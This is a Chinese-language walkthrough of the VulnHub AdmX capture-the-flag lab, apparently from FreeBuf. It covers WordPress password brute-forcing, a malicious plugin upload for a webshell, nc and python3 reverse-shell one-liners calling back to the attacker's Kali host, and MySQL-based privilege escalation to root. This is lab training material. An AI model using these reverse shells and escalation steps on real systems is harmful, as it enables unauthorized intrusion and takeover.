0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场搭建
靶场下载地址:https://download.vulnhub.com/admx/AdmX_new.7z
打靶目标: 取得 2 个 flag + root 权限
下载下来是虚拟机.ova压缩文件,直接用Vmvare导出就行
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128是kali攻击机ip,所以131为靶机ip
扫描靶机所开放的端口、服务及版本
nmap -sT -p 0-65535 -A 192.168.52.131
发现开放了80端口存在http服务,且中间件服务器为Apache httpd 2.4.21
访问一下WEB,发现为apache初始页面
搜索一下铭感目录
发现/wordpress/wp-login.php和/wordpress页面
访问一下,发现页面加载了很久,而且存在很多资源没有加载出来
用burp抓包看看请求了哪些资源
发现当请求这个页面时,页面还请求了192.168.159.145这个ip
实际上这些资源就在原本的靶机上,只不过在页面上写的是固定的ip,而现在靶机的ip和页面中ip不一致,导致资源请求不到
我们可以通过burp来批量替换ip为现在的ip,通过proxy--options-- match and replace模块
先将里面所有的内容删除,再添加新的替换规则
将响应头和响应体里的ip全部替换为新ip
然后刷新页面就获得了完整页面
wordpress后台登录页面
首先明确使用了wordpress框架,搜索看是否存在框架已知漏洞
使用wpscan工具
先更新数据库
然后进行漏洞探测
没有发现什么可以获得shell的漏洞
回到刚才的后台登录页面,试试能否暴力破解出账号密码
经过简单测试,发现存在默认admin的账号
接下来对admin这个账号进行暴力破解
burp抓包发送到intruder模块
设置参数
设置爆破类型和加载字典
开始爆破,成功爆破出密码
点击稍后提醒我
成功进入后台页面
找到后台可以获得shell的功能点
找到一个文件上传点
找到一处可以编辑插件的php文件
找到一处可以上传插件
我们一种一种方法尝试
首先尝试通过Media上传文件
编辑一个带有一句话木马的php文件
将其上传,发现不能上传php文件,发现是前端检验,看能否绕过
先将文件后缀名改为txt,然后抓包再改回php
发现后端也存在验证,所以这种方法不可行
尝试使用编辑插件php文件的方式
成功插入代码
但是发现不能访问
也试了其它插件,发现都不能访问
还有一种方式是修改主题的php文件(这里看到所用的主题是Twenty Twenty-One主题)
但是发现修改失败
还有另一种方法,通过上传插件的方式
先编写插件,插件要带上插件的头部描述信息
wordpress上传插件需要先压缩成zip格式文件
上传插件,上传成功
点击Active Plugin激活插件,激活成功
访问插件,成功执行命令
然后来反弹shell
现在kali上监听4444端口
执行nc命令反弹shell
连接成功但是没有收到shell,可能靶机上的nc不支持-e参数
使用nc串联来获得shell
同时在kali监听两个端口
nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555
成功获得shell
这里用nc串联获得的shell需要两个窗口,且没有前面的用户和路径信息看起来很不舒服,我们换一种方式来获得shell
我们发现有python3,我们可以利用python3来获得一个shell
在kali上监听4444端口
执行python命令建立连接
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
成功获得shell
但是现在获得的这个shell还是缺少很多功能,例如:自动补齐、正常使用vi编辑器等功能,所以我们需要升级shell(此升级方法只适用于BASH)
CTRL+Z 将shell挂起到后台 stty raw -echo fg 恢复挂起的shell ls export SHELL=/bin/bash export TERM=screen stty rows 38 columns 116 reset
在我的kali上执行之后不能正常使用这个shell,因为我的kali在这默认是zsh而不是bash
如果想要修改为BASH,可以通过一下命令
chsh -s /bin/bash roboot 重启
ls查看当前目录文件
在/home下发现wpadmin这个目录,目录下存在local.txt应该就是其中一个flag,但是没有查看权限
现在为www-data用户,需要提权到wpadmin用户
sudo提权
sudo -l 查看是否有可提权的命令
需要密码,不能同过这种方式提权
SUID提权
SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限
通过命令
find / -perm -4000 2>/dev/null查看是否具有root权限的命令
常见可用于提权root权限文件
nmap
vim
find
bash
more
less
nano
cp
screen-4.5.0
没有发现可以利用的文件
内核提权
内核版本为5.4.0
没有找到可以利用的内核漏洞
数据库提权
在wordpress配置文件中找到了数据库账号密码
尝试连接数据库,成功连接数据库
利用mysql自带执行系统命令的函数system,成功获取到wpadmin的shell,提权成功
后面发现也可以用密码直接su到wpadmin用户,成功使用前面爆破出的后台登录密码su到wpadmin用户
在wpadmin目录下获得到一个flag
接着提权
sudo提权
sudo -l 查看是否有可提权的命令
发现可以用于提权的命令
sudo成功执行命令,登入mysql数据库
用同样的mysql自带执行系统命令的system函数成功获得到root的shell
获得到第二个flag
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)